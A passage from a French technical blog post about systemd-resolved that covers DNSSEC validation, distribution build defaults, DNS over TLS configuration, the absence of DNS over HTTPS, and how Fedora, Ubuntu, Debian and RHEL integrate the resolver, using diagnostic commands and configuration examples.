depuis la racine valide et les données sont authentifiées. systemd.io n\u0026rsquo;est pas signé, donc il n\u0026rsquo;y a rien à vérifier et resolved le dit honnêtement plutôt que de faire semblant. C\u0026rsquo;est le domaine du projet systemd lui-même, un point sur lequel je reviendrai. dnssec-failed.org est publié avec des signatures délibérément cassées. Celui-là échoue net, avec un diagnostic qui nomme le problème exact.\nVoici la distinction qui se perd. Non sécurisé n\u0026rsquo;est pas un échec. Une zone non signée renvoie les données et vous dit qu\u0026rsquo;elle n\u0026rsquo;a pas pu les vérifier. Seule une zone qui prétend être signée et ne sait ensuite pas le prouver est rejetée.\nLa chaîne elle-même est visible si vous voulez la voir :\n$ dig +short @127.0.0.53 uk DS 43876 8 2 A107ED2AC1BD14D924173BC7E827A1... $ dig +short @127.0.0.53 damiendye.uk DS 2371 13 2 A5B2825C57899A5A15EE9703832C8358E0D19EF29DC72DD83C691ED77C33BD7F $ dig +short @127.0.0.53 damiendye.uk DNSKEY 256 3 13 oJMRESz5E4gYzS/q6XDrvU1qMPYIjCWz... 257 3 13 mdsswUyr3DPW132mOi8V9xESWE8jTo0d... La racine se porte garante de uk, uk se porte garant de damiendye.uk, et la clé 257 signe la clé 256 qui signe les enregistrements. L\u0026rsquo;algorithme 13 là-dedans, c\u0026rsquo;est ECDSA P-256, ce que vous voulez sur une zone neuve plutôt que le RSA que le DS de uk ci-dessus utilise encore.\nPar le stub ordinaire, un programme qui n\u0026rsquo;a jamais entendu parler de resolved obtient le même verdict sous forme de drapeau AD :\n$ dig @127.0.0.53 ietf.org A | grep flags ;; flags: qr rd ra ad; $ dig @127.0.0.53 dnssec-failed.org A | grep status ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- status: SERVFAIL Et le démon tient un décompte courant, qui est le moyen le plus rapide de voir si la validation fait quelque chose :\n$ resolvectl statistics DNSSEC Verdicts Secure: 134 Insecure: 62 Bogus: 0 Indeterminate: 2 Ce que coûte la validation Ici je vais vous décevoir, parce que j\u0026rsquo;ai essayé de le mesurer correctement et je n\u0026rsquo;ai pas pu.\nÀ chaud, c\u0026rsquo;est propre et c\u0026rsquo;est nul. Les mêmes 32 noms contre un cache plein ont coûté 16 ms sans validation et 23 ms avec. Une erreur d\u0026rsquo;arrondi.\nC\u0026rsquo;est à froid que le coût devrait se voir, et un seul client ne peut pas l\u0026rsquo;isoler. J\u0026rsquo;ai lancé la série dans les deux sens et j\u0026rsquo;ai obtenu des réponses contradictoires : dans un ordre la validation avait l\u0026rsquo;air 74 % plus lente, dans l\u0026rsquo;autre elle avait l\u0026rsquo;air plus rapide, ce qui est impossible et vous dit ce qui est réellement mesuré. Quelle que soit la série qui passe en second, elle bénéficie du fait que le résolveur amont a déjà récupéré tout ce que la première a demandé. La variable qui domine n\u0026rsquo;est pas la validation, c\u0026rsquo;est le cache de qui était chaud.\nJe ne vais donc pas vous donner un chiffre que je ne peux pas assumer. Ce qui est vrai, c\u0026rsquo;est le mécanisme, et la documentation en énonce la forme clairement : la validation « requires retrieval of additional DNS data, and thus results in a small DNS lookup time penalty » — exige la récupération de données DNS supplémentaires, et entraîne donc une petite pénalité sur le temps de recherche.2 Une recherche validée à froid descend la chaîne de délégation en récupérant DS et DNSKEY à chaque niveau avant de pouvoir répondre, donc elle coûte des allers-retours supplémentaires sur les noms que personne n\u0026rsquo;a encore demandés, et rien du tout sur les noms que quelqu\u0026rsquo;un a demandés.\nC\u0026rsquo;est aussi pourquoi la même page avertit que couper le cache « comes at a performance penalty, which is particularly high when DNSSEC is used » — s\u0026rsquo;accompagne d\u0026rsquo;une pénalité de performance, particulièrement forte quand DNSSEC est utilisé.2 Les deux fonctionnalités ne sont pas indépendantes. La validation est abordable précisément parce que le cache fait que vous ne la payez qu\u0026rsquo;une fois.\nSi vous voulez le vrai chiffre pour votre propre réseau, mesurez-le là-bas. Un client sur une connexion ne peut pas vous le dire.\nAlors pourquoi la validation est-elle coupée Parce que votre distribution l\u0026rsquo;a coupée quand elle a construit le paquet, et elle l\u0026rsquo;a fait pour une raison qu\u0026rsquo;elle a écrite quelque part.\nLe systemd amont livre la validation activée. L\u0026rsquo;option de compilation le dit :\noption(\u0026#39;default-dnssec\u0026#39;, type : \u0026#39;combo\u0026#39;, choices : [\u0026#39;yes\u0026#39;, \u0026#39;allow-downgrade\u0026#39;, \u0026#39;no\u0026#39;], value : \u0026#39;allow-downgrade\u0026#39;) et le manuel amont est d\u0026rsquo;accord : DNSSEC= « Defaults to allow-downgrade » — vaut allow-downgrade par défaut.6\nMaintenant regardez ce que Fedora passe à cette compilation :7\n-Ddefault-dnssec=no -Ddefault-dns-over-tls=no -Ddefault-mdns=no -Ddefault-llmnr=resolve Et ce que passent Debian et Ubuntu :8\n-Ddefault-dnssec=no -Ddefault-llmnr=no -Ddefault-mdns=no -Ddns-over-tls=openssl Du coup le fichier /usr/lib/systemd/resolved.conf sur une machine Fedora, celui qui est titré « Entries in this file show the compile time defaults », porte #DNSSEC=no. Relisez ça, parce que c\u0026rsquo;est sournois : la ligne a l\u0026rsquo;air d\u0026rsquo;être le logiciel qui vous annonce son propre défaut, et ce qu\u0026rsquo;elle vous renvoie en réalité, c\u0026rsquo;est l\u0026rsquo;option de compilation de Fedora, le vrai défaut amont n\u0026rsquo;apparaissant nulle part sur la page.\nRéglage Défaut amont Compilation Fedora Compilation Debian/Ubuntu Résultat sur cette machine DNSSEC= allow-downgrade no no DNSSEC=no DNSOverTLS= no no no (compilé avec OpenSSL) -DNSOverTLS MulticastDNS= yes no no -mDNS LLMNR= yes resolve no LLMNR=resolve Chacune de ces lignes correspond à ce que resolvectl status affiche sur cette machine. Les sources, l\u0026rsquo;option de compilation, le système en fonctionnement : les trois concordent.\nLe raisonnement de Fedora est dans la proposition de changement et il est d\u0026rsquo;une franchise rafraîchissante. La fonctionnalité « is known to cause compatibility problems with certain network access points » — est connue pour poser des problèmes de compatibilité avec certains points d\u0026rsquo;accès réseau — et Fedora « is not prepared to handle an influx of DNSSEC-related bug reports » — n\u0026rsquo;est pas prête à encaisser un afflux de rapports de bugs liés à DNSSEC, donc ça part coupé.9\nPuis-je demander pourquoi la réponse à une fonctionnalité qui casse sur les mauvais réseaux est de la désactiver pour tout le monde, plutôt que de livrer allow-downgrade comme le fait l\u0026rsquo;amont et de la laisser se couper toute seule là où il le faut ? Pas qui a décidé. Ce qui, dans le processus, y a mené. Parce que allow-downgrade existe précisément pour le cas du portail captif, c\u0026rsquo;est le défaut amont exactement pour cette raison, et livrer no à la place veut dire qu\u0026rsquo;une machine sur un réseau parfaitement sain n\u0026rsquo;a pas de validation non plus.\nPour être juste envers eux, allow-downgrade a son propre problème, et il est réel. Ce mode détecte un résolveur incapable de faire du DNSSEC et arrête discrètement de valider. Un attaquant capable de façonner vos réponses DNS peut faire se déclencher cette détection exprès, et la documentation le dit clairement : ça « makes DNSSEC validation vulnerable to \u0026lsquo;downgrade\u0026rsquo; attacks » — rend la validation DNSSEC vulnérable aux attaques par déclassement.2 Une fonctionnalité de sécurité que n\u0026rsquo;importe quel attaquant peut désactiver fait moins que ce qu\u0026rsquo;elle en a l\u0026rsquo;air.\nAucun des deux défauts n\u0026rsquo;est donc bon. no ne vous donne rien. allow-downgrade vous donne quelque chose qu\u0026rsquo;un attaquant peut vous reprendre, et yes vous donne la vraie chose plus tout ce qui est dans la section suivante.\nQuelle part du web est signée, au fait Avant de dépenser beaucoup d\u0026rsquo;efforts sur la validation, il vaut la peine de savoir quelle fraction de vos recherches elle peut éventuellement protéger. J\u0026rsquo;ai donc demandé à resolved le verdict sur l\u0026rsquo;apex de trente-deux domaines que ce sujet met réellement en cause : les organismes qui ont écrit la norme, les maisons qui livrent le résolveur, et l\u0026rsquo;infrastructure que tout le monde résout qu\u0026rsquo;il le veuille ou non.\nSeize sur trente-deux. La moitié.\nSignés Non signés Normes et registres ietf.org, iana.org, icann.org, rfc-editor.org, ripe.net, isc.org, nlnetlabs.nl, nic.cz, afnic.fr, verisign.com aucun Distributions et éditeurs debian.org, fedoraproject.org, opensuse.org, almalinux.org redhat.com, ubuntu.com, canonical.com, suse.com, rockylinux.org, archlinux.org systemd lui-même aucun systemd.io, freedesktop.org Infrastructure cloudflare.com, gov.uk github.com, kernel.org, google.com, wikipedia.org, mozilla.org, apache.org, gnu.org, quad9.net Lisez la première colonne de haut en bas. Tous les organismes de normalisation et tous les registres ont signé. Dix sur dix, sans exception : les gens qui ont écrit DNSSEC, et les gens qui tiennent les registres qui publient les enregistrements DS de tous les autres. Ils ont fait le travail sur leurs propres zones.\nMaintenant lisez la troisième ligne en travers. systemd.io n\u0026rsquo;a pas de DS. Le projet qui a écrit le résolveur validant dont parle tout ce billet n\u0026rsquo;a pas signé son propre domaine, et freedesktop.org, où vit sa documentation, non plus. En dessous, quad9.net n\u0026rsquo;est pas signé non plus, ce qui mérite qu\u0026rsquo;on s\u0026rsquo;y arrête une seconde : un résolveur public dont tout l\u0026rsquo;argumentaire est qu\u0026rsquo;il valide DNSSEC pour vous, sur une zone que personne ne peut valider.\nEt les éditeurs se séparent nettement sur une ligne. Les distributions communautaires ont signé. debian.org, fedoraproject.org, opensuse.org, almalinux.org. Les entreprises, non. redhat.com, ubuntu.com, canonical.com, suse.com. Ce sont les quatre organisations qui empaquettent et livrent ce résolveur à la majorité du parc Linux.\nAucune lacune technologique là-dedans. Le protocole est déployable depuis plus de quinze ans, l\u0026rsquo;outillage est gratuit, et les registres prennent l\u0026rsquo;enregistrement DS sans le facturer. Je vous le dis gratuitement : les gens qui ont écrit la norme ont signé, et la plupart des gens qui livrent le logiciel, non.\nIl y a une version plus tranchante du même argument dans gov.uk, qui est signé, et qui fait ensuite ceci :\n$ dig +short @127.0.0.53 www.gov.uk CNAME www-cdn.production.govuk.service.gov.uk. $ dig +short @127.0.0.53 service.gov.uk DS (nothing) uk a un DS. gov.uk a un DS. service.gov.uk n\u0026rsquo;en a aucun, donc la chaîne s\u0026rsquo;arrête net à cet endroit, et www.gov.uk résout en non sécurisé alors même que l\u0026rsquo;apex au-dessus est signé correctement. Quelqu\u0026rsquo;un a fait le travail sur gov.uk puis a pointé le site web réel vers une délégation non signée. Un travail à moitié fait.\nDu coup, si vous signez une zone, vérifiez les noms que les gens tapent réellement. Un apex signé qui pointe par CNAME dans une zone de CDN non signée ne vous apporte rien.\nDNS over TLS marche, sous conditions DNS over TLS est implémenté, il est compilé dans toutes les constructions grand public, et il marche. Il est coupé par défaut partout, y compris en amont, où DNSOverTLS= « Defaults to no » — vaut no par défaut.6\nLa configuration tient en deux lignes, et c\u0026rsquo;est la seconde que les gens ratent :\n[Resolve] DNS=9.9.9.9#dns.quad9.net 149.112.112.112#dns.quad9.net DNSOverTLS=yes Ce #dns.quad9.net n\u0026rsquo;est pas de la décoration. Il fixe le nom utilisé pour le SNI et pour valider le certificat. Laissez-le de côté et le certificat est « checked against the server\u0026rsquo;s IP » — vérifié contre l\u0026rsquo;IP du serveur.2 Ça marche avec les gros fournisseurs parce qu\u0026rsquo;ils mettent des adresses IP dans les SAN de leur certificat, mais c\u0026rsquo;est le contrôle le plus faible, il casse à la seconde où un fournisseur arrête de le faire, et il ne vous protège en rien d\u0026rsquo;une redirection vers une autre adresse qui se trouve détenir un certificat valide pour elle-même. L\u0026rsquo;article du magazine de Fedora sur le sujet omet le nom d\u0026rsquo;hôte,10 ce qui est dommage, parce que la syntaxe est là, dans les commentaires du fichier de configuration livré.\nStrict et opportuniste sont deux réglages très différents Mode Sur un serveur qui gère DoT Sur un serveur qui ne le gère pas Authentifie le serveur yes Chiffré Toutes les recherches échouent Oui opportunistic Chiffré En clair, silencieusement Non no En clair En clair sans objet opportunistic se lit comme le juste milieu raisonnable et ne l\u0026rsquo;est le plus souvent pas. La documentation le dit franchement : dans ce mode « the resolver is not capable of authenticating the server, so it is vulnerable to \u0026lsquo;man-in-the-middle\u0026rsquo; attacks » — le résolveur n\u0026rsquo;est pas capable d\u0026rsquo;authentifier le serveur, il est donc vulnérable aux attaques de l\u0026rsquo;homme du milieu,2 et quiconque peut faire tomber votre trafic sur le port 853 peut forcer le déclassement. Ça vous protège de l\u0026rsquo;observation passive sur un réseau où personne n\u0026rsquo;essaie. Face à quelqu\u0026rsquo;un qui essaie, ça ne fait rien.\nyes est le réglage honnête. Il veut aussi dire que quand il n\u0026rsquo;arrive pas à se connecter, vous n\u0026rsquo;avez plus de DNS du tout, ce qui vaut la peine d\u0026rsquo;être su avant de le mettre sur une machine que vous ne pouvez pas atteindre à pied.\nJ\u0026rsquo;ai essayé le DoT strict vers Quad9 depuis cette machine et la requête est restée suspendue. Pas d\u0026rsquo;erreur, pas de délai dépassé, rien dans le journal entre le vidage et mon retour en arrière deux minutes plus tard :\nSep 27 17:12:11 systemd-resolved[40105]: wlp4s0: Bus client set DNS server list to: 9.9.9.9#dns.quad9.net, ... Sep 27 17:12:14 systemd-resolved[40105]: wlp4s0: Bus client set DNSOverTLS setting: yes Sep 27 17:12:15 systemd-resolved[40105]: Flushed all caches. Sep 27 17:14:39 systemd-resolved[40105]: wlp4s0: Bus client set DNS server list to: 192.0.2.53, ... Je ne peux pas vous dire d\u0026rsquo;ici si le port 853 est joignable sur cette connexion, parce que le shell depuis lequel j\u0026rsquo;ai fait le test n\u0026rsquo;atteignait pas non plus le port 443 et était clairement filtré lui-même. Ce que le journal montre, en revanche, c\u0026rsquo;est le mode de défaillance : un DoT strict qui n\u0026rsquo;arrive pas à se connecter ne rapporte rien d\u0026rsquo;utile. Il attend. Si vous activez ça et que votre DNS devient silencieux, vérifiez ss -tn dport = :853 avant d\u0026rsquo;aller regarder du côté de resolved.\nLe tester correctement # does the transport actually come up resolvectl flush-caches resolvectl query ietf.org # expect: acquired via ... encrypted transport: yes # is anything still going out in the clear sudo tcpdump -ni any \u0026#39;port 53 and not host 127.0.0.53\u0026#39; La seconde commande est celle qui dit la vérité. Avec le DoT qui marche, rien ne devrait quitter la machine sur le port 53, et tout ce qui le fait est un programme qui a trouvé le moyen de contourner le stub.\nDNS over HTTPS n\u0026rsquo;existe pas ici Réponse directe à la question : systemd-resolved ne gère pas DNS over HTTPS. Ni partiellement, ni derrière un drapeau, ni avec une option de compilation que personne n\u0026rsquo;active. Il n\u0026rsquo;y a pas de DoH là-dedans, point.\nEt ce n\u0026rsquo;est pas lu dans la documentation, qui pourrait simplement être périmée. C\u0026rsquo;est ce que contient le binaire :\n$ strings /usr/lib/systemd/systemd-resolved | grep -icE \u0026#39;application/dns-message|dns-query|:443\u0026#39; 0 $ grep -oE \u0026#39;name=\u0026#34;DNSOver[A-Za-z]*\u0026#34;\u0026#39; /usr/share/dbus-1/interfaces/org.freedesktop.resolve1.Manager.xml name=\u0026#34;DNSOverTLS\u0026#34; Pas de format de fil DoH, pas de HTTP/2, une seule propriété de chiffrement sur l\u0026rsquo;interface D-Bus et c\u0026rsquo;est TLS. La liste complète des directives de resolved.conf en amont compte dix-sept réglages et aucun ne mentionne HTTPS.6\nÇa a été demandé. Le ticket #8639, « Add support for DNS-over-HTTPS to systemd-resolved », a été ouvert le 2 avril 2018 et il est toujours ouvert, avec deux pull requests attachées et rien de fusionné.11 Huit ans et ça continue.\nMême charge utile, même chiffrement, port différent LES DEUX PORTENT LA MÊME REQUÊTE DNS, DANS LE MÊME TLS DNS over TLS DNS over HTTPS tcp/853 tcp/443 Dans systemd-resolved oui, depuis la v239 non, pas du tout Un observateur voit les noms non non Un réseau peut le bloquer oui, son propre port pas sans mal Vous pouvez auditer le vôtre oui non Demandé dans le ticket systemd 8639, avril 2018. Toujours ouvert. Même charge utile, même chiffrement. La différence, c\u0026rsquo;est le port qu\u0026rsquo;il emprunte, et qui peut le voir Est-ce le mauvais choix ? Pas de façon évidente, et l\u0026rsquo;argument en faveur du DoT tient la route. Les deux transportent du DNS à l\u0026rsquo;intérieur de TLS et les deux arrêtent le même observateur passif. L\u0026rsquo;avantage du DoH est qu\u0026rsquo;il se cache sur le port 443 avec tout le reste, si bien qu\u0026rsquo;un réseau qui veut bloquer le DNS chiffré doit travailler beaucoup plus dur. C\u0026rsquo;est véritablement utile quand l\u0026rsquo;opérateur du réseau est l\u0026rsquo;adversaire.\nÇa coupe aussi dans l\u0026rsquo;autre sens. Là où l\u0026rsquo;opérateur, c\u0026rsquo;est vous, cette indistinguabilité veut dire que vous ne pouvez pas non plus auditer votre propre DNS, et chaque application qui embarque son propre client DoH cesse d\u0026rsquo;utiliser le résolveur du système, ce qui est la façon dont on se retrouve avec un navigateur qui ignore votre split DNS, votre cache et vos zones internes. Sur votre propre matériel, un résolveur visible sur un port connu est une fonctionnalité.\nDonc : si le DoT atteint votre résolveur, utilisez-le et vous ne perdez rien. Si le port 853 est bloqué, resolved n\u0026rsquo;a pas de réponse et vous voulez un proxy DoH devant lui, dnscrypt-proxy ou cloudflared sur le bouclage avec resolved pointé dessus. Le cache et la validation restent le travail de resolved. Seul le transport bouge.\nCe que votre distribution livre réellement Le même démon se comporte très différemment selon qui l\u0026rsquo;a empaqueté. Activer le service est la moitié facile. La moitié qui saute, c\u0026rsquo;est de le brancher aux outils réseau que la distribution utilise réellement, et sur l\u0026rsquo;une de ces quatre il n\u0026rsquo;est véritablement pas branché tant que vous ne le faites pas vous-même.\nInstallé Activé nss-resolve câblé La configuration arrive par Supporté Fedora (33+) oui oui oui, dans systemd-libs NetworkManager oui Ubuntu oui oui oui netplan, puis NM ou networkd oui Debian (12+) paquet séparé non non, paquet séparé vous choisissez et vous câblez oui RHEL / Rocky / Alma (9, 10) oui non oui NetworkManager, une fois prévenu Technology Preview Validation et cache plein : les réglages eux-mêmes Ce sont les quatre mêmes lignes partout, parce que resolved.conf est resolved.conf sur toutes les distributions. Ce qui diffère, c\u0026rsquo;est seulement la façon dont le reste de la configuration parvient au démon, ce qui fait les quatre sections suivantes.\n# /etc/systemd/resolved.conf.d/60-local.conf [Resolve] DNSSEC=allow-downgrade Cache=yes CacheFromLocalhost=no StaleRetentionSec=1d Utilisez un drop-in plutôt que d\u0026rsquo;éditer /etc/systemd/resolved.conf, parce que le fichier principal a une priorité plus faible que n\u0026rsquo;importe quel drop-in et qu\u0026rsquo;une mise à jour de paquet peut vous le disputer. La numérotation est une convention documentée : les fournisseurs prennent 10 à 40 sous /usr/, vous prenez 60 à 90 sous /etc/, donc c\u0026rsquo;est vous qui gagnez.6\nSur systemd 261 et au-delà il y a une cinquième ligne qui vaut la peine d\u0026rsquo;être ajoutée, parce que jusque-là la taille du cache n\u0026rsquo;était pas réglable du tout :\nDNSCacheSize=16384 # systemd 261+; default 4096, max 2^24 Appliquez-la et confirmez que le démon est d\u0026rsquo;accord avec le fichier, plutôt que de supposer qu\u0026rsquo;il l\u0026rsquo;a lu :\nsystemd-analyze cat-config systemd/resolved.conf # every fragment, in precedence order systemctl restart systemd-resolved resolvectl status | grep -E \u0026#39;DNSSEC|Protocols\u0026#39; resolvectl statistics # verdicts should start moving DNSSEC=allow-downgrade est le réglage que je mettrais sur une machine que je ne vais pas surveiller, pour les raisons de la section précédente. DNSSEC=yes est le réglage honnête et il échoue fermé. Choisissez délibérément.\nLe brancher à la pile réseau Activer le service tient en une commande. Amener les outils réseau de votre distribution à lui remettre leur configuration DNS est la partie qui varie, et c\u0026rsquo;est là que « activé » et « qui marche correctement » se séparent.\nD\u0026rsquo;où vient la configuration DNS Pour activer DNSSEC Pour dimensionner le cache Câblage supplémentaire Fedora NetworkManager, automatiquement drop-in drop-in aucun Ubuntu netplan, puis NM ou networkd drop-in, ou par lien dans .network drop-in aucun Debian la pile que vous avez choisie drop-in, ou par lien dans .network drop-in libnss-resolve, plus la pile ci-dessous Famille RHEL NetworkManager, une fois prévenu drop-in drop-in dns=systemd-resolved Fedora L\u0026rsquo;intégration la plus complète des quatre, et la seule où tout est déjà branché.\nNetworkManager possède le réseau et remet le DNS à resolved sans qu\u0026rsquo;on le lui demande. Sur cette machine il n\u0026rsquo;y a aucune ligne dns= nulle part dans /etc/NetworkManager/ et ça marche quand même, parce que NetworkManager détecte le démon en fonctionnement et l\u0026rsquo;utilise. /etc/resolv.conf est le lien vers le stub, et la glibc est câblée parce que libnss_resolve.so.2 est livré dans systemd-libs, qui n\u0026rsquo;est pas optionnel :\n$ rpm -qf /usr/lib64/libnss_resolve.so.2 systemd-libs-259.9-1.fc44.x86_64 $ grep ^hosts: /etc/nsswitch.conf hosts: files myhostname mdns4_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] dns Donc sur Fedora le drop-in ci-dessus est tout le travail. Rien d\u0026rsquo;autre à connecter.\nUbuntu Activé par défaut, et nss-resolve est câblé de la même façon. La différence, c\u0026rsquo;est que la configuration arrive d\u0026rsquo;habitude par netplan :\nnetwork: version: 2 ethernets: enp1s0: dhcp4: true nameservers: addresses: [9.9.9.9, 149.112.112.112] search: [example.com] Netplan remet ça à son moteur de rendu, NetworkManager sur le bureau ou systemd-networkd sur le serveur, et le moteur le remet à resolved. Notez ce que netplan ne sait pas exprimer. Il n\u0026rsquo;y a pas de clé netplan pour DNSSEC=, ni pour DNSOverTLS=. Celles-là vont dans le drop-in ci-dessus, qui est de toute façon leur place.\nSi vous êtes sur systemd-networkd, les réglages par lien sont aussi disponibles nativement dans le fichier .network, et un réglage par lien l\u0026rsquo;emporte sur le réglage global :\n# /etc/systemd/network/10-lan.network [Network] DNS=9.9.9.9#dns.quad9.net DNSSEC=yes DNSOverTLS=yes Domains=~. Debian demande d\u0026rsquo;être câblé à la main C\u0026rsquo;est celle qui n\u0026rsquo;est véritablement pas branchée, et la raison d\u0026rsquo;être de la section précédente.\nDepuis Debian 12, systemd-resolved est un paquet séparé, et les notes de version sont explicites sur la mise à niveau : « The new systemd-resolved package will not be installed automatically on upgrades » — le nouveau paquet systemd-resolved ne sera pas installé automatiquement lors des mises à niveau — et « until it has been installed, DNS resolution might no longer work since the service will not be present on the system. » — tant qu\u0026rsquo;il n\u0026rsquo;a pas été installé, la résolution DNS peut ne plus fonctionner puisque le service ne sera pas présent sur le système.12 Les mêmes notes tranchent la question plus large : « systemd-resolved was not, and still is not, the default DNS resolver in Debian. » — systemd-resolved n\u0026rsquo;était pas, et n\u0026rsquo;est toujours pas, le résolveur DNS par défaut dans Debian.\nL\u0026rsquo;installer, c\u0026rsquo;est trois paquets, pas un, et le second est celui que tout le monde rate :\napt install systemd-resolved libnss-resolve systemctl enable --now systemd-resolved libnss-resolve est seulement en Suggests:, pas une dépendance,13 et Suggests est la seule relation sur laquelle apt n\u0026rsquo;agit pas. Donc personne ne l\u0026rsquo;installe.\nLa raison pour laquelle personne ne le remarque est plus intéressante que la raison pour laquelle personne ne l\u0026rsquo;installe. Laissez-le de côté et la glibc atteint quand même resolved, parce que /etc/resolv.conf pointe vers le stub et que le simple nss-dns lui parle. L\u0026rsquo;essentiel du démon continue de fonctionner :\nSans libnss-resolve Avec Cache Oui, via le stub Oui Validation DNSSEC Oui, ça se passe dans le démon Oui DNS over TLS Oui Oui Le bit AD atteint la glibc Oui, resolv.conf porte trust-ad Oui Sécurisé vs non sécurisé vs falsifié Non, un seul bit Oui Adresses à portée de lien Non Oui /etc/hosts lu par le démon Non Oui Rien dans la colonne de gauche n\u0026rsquo;a l\u0026rsquo;air cassé, donc rien n\u0026rsquo;est réparé. Ce que vous perdez, c\u0026rsquo;est ce que le format de fil du DNS ne sait pas porter, et le cas le plus clair est une adresse qui a une portée :\n$ getent hosts _gateway # via nss-resolve fe80::5054:ff:fe12:3456 _gateway $ dig +short @127.0.0.53 _gateway # via the stub, as nss-dns would 192.0.2.1 Même nom, même démon, deux réponses différentes. Une adresse IPv6 lien-local n\u0026rsquo;a aucun sens sans l\u0026rsquo;interface à laquelle elle est rattachée, et il n\u0026rsquo;y a nulle part dans une réponse DNS où mettre ça, donc le stub ne peut rendre que l\u0026rsquo;IPv4. L\u0026rsquo;API native a un endroit où la mettre et vous donne l\u0026rsquo;adresse que vous vouliez réellement.\nLa ligne du verdict, c\u0026rsquo;est le même problème. AD est un seul bit : signé ou non. L\u0026rsquo;API native sépare sécurisé de non sécurisé de falsifié, ce qui est la différence entre « personne n\u0026rsquo;a signé ça » et « quelqu\u0026rsquo;un a signé ça et quelqu\u0026rsquo;un d\u0026rsquo;autre y a touché ». Une application à qui ça importe ne peut pas distinguer les deux sur le fil.\nC\u0026rsquo;est ça, l\u0026rsquo;écart entre le service qui tourne et le service qui est branché, et il reste invisible jusqu\u0026rsquo;à ce que vous alliez le chercher.\nVérifiez que c\u0026rsquo;est bien en place :\ngrep ^hosts: /etc/nsswitch.conf # wants \u0026#39;resolve [!UNAVAIL=return] dns\u0026#39; Quatre portes d'entrée sur Debian, et celle qu'on ne vous installe pas D'OÙ VIENT LA CONFIGURATION COMMENT ÇA ENTRE LE DÉMON ifupdown, statique ifupdown, DHCP systemd-networkd NetworkManager couche resolvconf = resolvectl resolved 127.0.0.53 ET LE MORCEAU QUE PERSONNE N'INSTALLE glibc getaddrinfo() libnss-resolve En Suggests: seulement. Sans lui la glibc marche quand même, et le verdict ne l'atteint jamais. Quatre portes d\u0026rsquo;entrée sur Debian, et celle qu\u0026rsquo;on ne vous installe pas Comment le reste de votre réseau l\u0026rsquo;atteint dépend de laquelle des piles de Debian vous utilisez.\nLe paquet déclare Provides: resolvconf et Conflicts: resolvconf, openresolv,13 donc il reprend l\u0026rsquo;interface resolvconf à son compte. /usr/sbin/resolvconf devient un lien vers resolvectl, qui est un binaire multi-appel : invoqué sous ce nom, il parle le protocole resolvconf(8) et pousse tout ce qu\u0026rsquo;on lui remet directement dans resolved.14 Tout ce qui appelle déjà resolvconf -a continue donc de fonctionner sans modification, avec systemd-resolved comme seul backend supporté.\nL\u0026rsquo;interface ne survit pas entièrement, et les manques échouent bruyamment plutôt que silencieusement :\nOption resolvconf Sous systemd-resolved -a \u0026lt;iface\u0026gt; Enregistre le DNS par lien lu sur l\u0026rsquo;entrée standard. Celle qui compte -d \u0026lt;iface\u0026gt; Désenregistre, comme resolvectl revert -x Traduit en domaine de routage ~. -p Marque le lien comme n\u0026rsquo;étant pas une route par défaut (systemd 257+) -f Rend -a et -d silencieux sur une interface absente -m Accepté et ignoré silencieusement -u, -i, -I, -l, -r, -R, -v, -V Non supportées. La commande échoue Un piège à connaître avant de le déboguer : la couche de compatibilité n\u0026rsquo;écrit /etc/resolv.conf que lorsque ce fichier est un lien vers /run/systemd/resolve/resolv.conf, et pas quand c\u0026rsquo;est un fichier statique.14\nifupdown, la pile par défaut d\u0026rsquo;une installation serveur Debian. La strophe dns-nameservers dans /etc/network/interfaces a toujours été implémentée par les hooks de l\u0026rsquo;ancien paquet resolvconf, et systemd-resolved est en conflit avec ce paquet et ne livre aucun hook /etc/network/if-up.d/ à lui. Pour une interface statique, ne comptez pas sur la strophe. Posez les serveurs explicitement sur le lien et laissez resolved les posséder :\n# /etc/network/interfaces auto enp1s0 iface enp1s0 inet static address 192.0.2.10/24 gateway 192.0.2.1 up /usr/sbin/resolvconf -a $IFACE \u0026lt;\u0026lt;\u0026lt; \u0026#39;nameserver 192.0.2.53\u0026#39; down /usr/sbin/resolvconf -d $IFACE Le DHCP sur ifupdown est déjà géré. isc-dhcp-client livre des hooks nommés d\u0026rsquo;après le démon, /etc/dhcp/dhclient-enter-hooks.d/resolved-enter et /etc/dhcp/dhclient-exit-hooks.d/resolved,15 si bien que les serveurs DNS d\u0026rsquo;un bail atterrissent sur le bon lien sans rien à configurer.\nsystemd-networkd est l\u0026rsquo;option la plus propre et ne demande aucune couche de compatibilité, parce que les deux moitiés sont le même projet. Le DNS par lien, DNSSEC et le DoT sont des clés natives du fichier .network, exactement comme dans l\u0026rsquo;exemple Ubuntu ci-dessus.\nNetworkManager, sur un bureau Debian, demande à être prévenu une fois :\n# /etc/NetworkManager/conf.d/10-resolved.conf [main] dns=systemd-resolved Choisissez-en une et sachez laquelle vous avez choisie. Le mode de défaillance ici n\u0026rsquo;est pas un démon qui refuse de démarrer, c\u0026rsquo;est deux piles qui croient toutes les deux posséder /etc/resolv.conf, ce qui se lit comme un DNS intermittent et vous gâche un après-midi. resolvectl status dit sur quel lien les serveurs ont atterri. Si la réponse est aucun, rien n\u0026rsquo;alimente le démon, et c\u0026rsquo;est ça le bug.\nRHEL, Rocky et Alma Et voici celle qui vaut d\u0026rsquo;être lue deux fois. Le paquet est là, nss-resolve est disponible, NetworkManager sait le piloter, et la documentation de Red Hat dit ceci :\nsystemd-resolved is an unsupported Technology Preview.16\nCette formulation est dans les notes de version de RHEL 9 depuis la 9.0 et elle y est toujours en 9.8. Technology Preview veut dire aucun SLA de production, et Red Hat ne le recommande explicitement pas pour un usage en production.\nIl n\u0026rsquo;est pas activé non plus. NetworkManager possède resolv.conf sur ces systèmes, donc l\u0026rsquo;activer est un réglage NetworkManager plutôt que simplement activer l\u0026rsquo;unité :\n# /etc/NetworkManager/conf.d/10-resolved.conf [main] dns=systemd-resolved systemctl enable --now systemd-resolved systemctl reload NetworkManager resolvectl status # confirm NM actually handed the servers over Après ça le drop-in ci-dessus s\u0026rsquo;applique sans changement, et la validation et le cache se comportent exactement comme sur Fedora.\nDonc sur RHEL vous avez une décision qui n\u0026rsquo;existe pas sur les autres. Vous voulez un résolveur local validant, avec cache et capable de split DNS sur une machine RHEL supportée ? Alors la réponse supportée n\u0026rsquo;est pas celle-ci. C\u0026rsquo;est unbound, ou dnsmasq via le dns=dnsmasq de NetworkManager, deux choses derrière lesquelles Red Hat se rangera effectivement.\nL\u0026rsquo;étiquette n\u0026rsquo;est pas un commentaire sur le code. C\u0026rsquo;est un commentaire sur ce derrière quoi Red Hat mettra un SLA, et un résolveur validant avec cache est une chose sur laquelle les clients ouvrent des tickets. C\u0026rsquo;est de bonne guerre. 